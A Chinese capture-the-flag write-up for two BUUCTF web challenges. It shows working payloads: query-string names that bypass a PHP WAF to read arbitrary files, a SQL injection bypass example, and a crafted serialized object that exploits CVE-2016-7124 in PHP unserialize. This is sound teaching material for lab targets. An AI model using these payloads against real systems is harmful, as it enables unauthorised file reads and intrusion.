CTF_从入门到失业

简介: CTF_从入门到失业

CTF练习之日常刷题

一、easy clac

题目来源:BUUCTF在线评测 (buuoj.cn)

开启环境,是一个计算功能的网页,先输入一些东西试试

640.png

640.png


640.png


初步判断有后端脚本的过滤,也有前端js的过滤,查看一下源码

640.png

发现一个处理脚本,访问calc.php得到源码

640.png


过滤了很多特殊符号和一些字符,且不能传字符串。目测从参数方入手有点难绕,但是还有另一种用变量名绕过方式。

php脚本在处理变量时,会把变量名中的一些特色字符删除空白字符,并将一些特殊字符替换为"_",利用这个特点可以绕过一些waf

我们知道PHP将查询字符串(在URL或正文中)转换为内部关联数组$_GET或关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除前后的空白符(空格符,制表符,换行符等统称为空白符)
2.将某些字符转换为下划线(包括空格)
原文链接:https://blog.csdn.net/qq_45521281/article/details/105871192

理论存在,实践开始:

?%20num=var_dump(chr(112).chr(113))

640.png


ok,成功传入字符串,再利用scandir找一下flag在哪

?%20num=var_dump(scandir(chr(47)))


640.png

然后直接用file_get_contents读取就行了


640.png


?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))


640.png

二、极客大挑战 php1

题目来源:BUUCTF在线评测 (buuoj.cn)

开启环境,是一个挺有意思的页面,题还没做,我先完了一会


640.png


大佬牛逼,这前端写的厉害,哈哈哈

提示了网站备份,用dirsearch和御剑扫了下,趁着扫的时间,试了下git,svn,swp,bak等后缀,可惜没用

640.png


640.png


640.png


访问观察都没啥用,flag.php也是空的,这里有点怀疑flag在注释里,要读取原文件,结果直接出了源码,那就不是了

640.png


下载www.zip解压,然后开始审计

<!DOCTYPE html>
<head>
  <meta charset="UTF-8">
  <title>I have a cat!</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
      <link rel="stylesheet" href="style.css">
</head>
<style>
    #login{   
        position: absolute;   
        top: 50%;   
        left:50%;   
        margin: -150px 0 0 -150px;   
        width: 300px;   
        height: 300px;   
    }   
    h4{   
        font-size: 2em;   
        margin: 0.67em 0;   
    }
</style>
<body>
<div id="world">
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
    </div>
    <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script  src="index.js"></script>
</body>
</html>


640.png

找到关键点,包含了class.php,用select传参,并且大概率是反序列化,再看class.php

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){
        $this->username = 'guest';
    }
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>


640.png

关键点在_destruct这个函数这里

将name序列化后作为select的参数传参,后端对name反序列化,在销毁name对象时,会调用_destruc()

但在调用_destruc()前可能还会调用 _wakeup(),wakeup会改变username的值

利用CVE-2016-7124进行绕过,即反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

然后开始构造序列化对象

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>


640.png


O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}


640.png

把name那里的2改成比2大的数


640.png


还是不行,因为这个声明变量是private

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
ps:来源为https://zhuanlan.zhihu.com/p/137898056

改造一下参数,改造后

O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}


640.png


ok,搞定


相关文章
|
6月前
|
安全 网络安全
网络安全CTF比赛有哪些事?——《CTF那些事儿》告诉你
网络安全CTF比赛有哪些事?——《CTF那些事儿》告诉你
|
4月前
|
开发者
备考两年,关于软考的经验都在这了
本文分享了作者备考软考两年的一些学习经验,并配有知识点的思维导图,期望能对各位备考同学有所帮助。
772 2
|
7月前
|
数据采集 人工智能 算法
2022年计算机保研夏令营经验总结,11所院校经历,预推免上岸北大
2022年计算机保研夏令营经验总结,11所院校经历,预推免上岸北大
|
数据采集 人工智能 算法
|
存储 人工智能 分布式计算
想当程序员吗?这11所大学计算机专业堪称国内顶级,高考考生千万不要错过
为大家盘点一下目前国内计算机专业比较好的大学。
237 1
|
分布式计算 网络协议 算法
中科大软件学院硕士:实习秋招百多轮面试总结(中)
中科大软件学院硕士:实习秋招百多轮面试总结(中)
270 0
|
机器学习/深度学习 算法 小程序
双非硕士的辛酸求职回忆录: 第 3 篇 也谈谈校招项目面试究竟该注意什么及我是如何准备开发项目的
双非硕士的辛酸求职回忆录: 第 3 篇 也谈谈校招项目面试究竟该注意什么及我是如何准备开发项目的
237 0
|
算法 Java 程序员
双非硕士的辛酸求职之旅--第 4 篇:谈谈算法该怎么准备,不准备可以吗
双非硕士的辛酸求职之旅--第 4 篇:谈谈算法该怎么准备,不准备可以吗
154 0
双非硕士的辛酸求职之旅--第 4 篇:谈谈算法该怎么准备,不准备可以吗
|
SQL 前端开发 Java
Java开发:19届二本技术渣,校招与工作一个月辞职后的上岸之路
Java开发:19届二本技术渣,校招与工作一个月辞职后的上岸之路
147 0
|
机器人 程序员 开发者
双非本科生、非大厂,毕业一年,业余净收入20万
双非本科生、非大厂,毕业一年,业余净收入20万
双非本科生、非大厂,毕业一年,业余净收入20万